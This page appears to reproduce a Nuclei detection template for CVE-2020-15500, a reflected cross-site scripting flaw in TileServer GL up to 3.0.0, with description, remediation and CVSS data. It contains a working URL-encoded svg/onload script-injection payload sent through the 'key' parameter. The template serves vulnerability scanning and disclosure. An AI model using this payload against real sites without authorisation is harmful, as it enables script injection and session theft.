CVE-2020-15500: TileServer GL <=3.0.0 - Cross-Site Scripting

2025-08-01 TileServer GL PoC Public

Description

TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.

PoC

id: CVE-2020-15500

info:
  name: TileServer GL <=3.0.0 - Cross-Site Scripting
  author: Akash.C
  severity: medium
  description: TileServer GL through 3.0.0 is vulnerable to reflected cross-site scripting via server.js  because the content of the key GET parameter is reflected unsanitized in an HTTP response for the application's main page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade TileServer GL to a version higher than 3.0.0 or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/maptiler/tileserver-gl/issues/461
    - http://packetstormsecurity.com/files/162193/Tileserver-gl-3.0.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15500
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-15500
    cwe-id: CWE-79
    epss-score: 0.12224
    epss-percentile: 0.95957
    cpe: cpe:2.3:a:tileserver:tileservergl:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tileserver
    product: tileservergl
  tags: cve,cve2020,xss,tileserver,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "'>\"<svg/onload=confirm('xss')>"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e361699811667dd705aa9af3618fd2d714ef2a7a5b3c50c5accabd1696a8763f02203ddbd1043d9750731160b9de878b5082ed14981d9a9ece4457b331018a56b612:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15500.yaml

References

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